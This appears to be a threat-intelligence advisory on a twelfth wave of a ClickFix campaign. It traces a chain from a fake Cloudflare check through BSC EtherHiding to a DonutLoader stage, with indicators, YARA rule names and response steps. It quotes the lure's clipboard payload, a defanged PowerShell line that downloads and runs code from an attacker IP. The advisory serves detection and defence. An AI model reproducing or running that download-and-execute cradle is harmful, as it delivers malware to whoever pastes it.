Unknown APT (AS202412) — ClickFix → BSC EtherHiding → DonutLoader

A twelfth iteration of this ClickFix cluster is live. The threat actor remains unattributed — we track it as an unknown APT using AS202412 infrastructure. ("Omegatech LTD" is the registered operator of AS202412, a Seychelles bulletproof-hosting AS — the infrastructure provider, not a confirmed actor identity.) Continuity with prior waves — i.e. the same unattributed actor — is confirmed by infrastructure reuse: the detonation contacts three IPs already in the SecureLeaf Omegatech corpus (158.94.208.104, 178.16.53.137, 91.92.240.121), retains BSC-testnet EtherHiding, and preserves the obfuscator.io RC4/rotate loader family, the /?sid= TDS pattern, student_*.bin payload naming (V9 lineage) and the .NET DonutLoader stage (V11). V12 introduces a new C2 domain acting as a verification / anti-replay node, a new stage-2 path, and fully-encoded network strings that defeat signatures gated on cleartext eth_call.

Clipboard payload the victim is social-engineered into pasting. The fake challengeHash is the SHA-256 of the empty string — a decoy to look legitimate.

<#Verification ID:9x0j8j268evkzp39 #>
$global:cfChallenge   = "challenge.cloudflare.com";
$global:challengeHash = "e3b0c442...b855";   # SHA-256("") decoy
$global:confirmChallenge = $true;
iex(irm hxxp://91[.]92[.]240[.]121/?sid=1783399818567-p3cptuik -UseBasicParsing)
<#Verification ID:9x0j8j268evkzp39 #>

YARA: omegatech_v12.yar — 6 rules incl. a re-tuned obfuscator rule that no longer depends on cleartext eth_call (closes the V12 detection gap), a ClickFix-lure rule, network, known-hash and .NET-loader rules. STIX 2.1: SL-ADV-2026-WP-001-V12.stix.json.

Response: report ejecutivos.es compromise to its host / registrar; submit senterprise2026.com + reused IPs to AbuseIPDB / OTX; hunt endpoints for the ClickFix PowerShell cradle and mscoree-loaded child of powershell.exe. The BSC RPC endpoint is shared-legit — detect behaviourally, do not blocklist.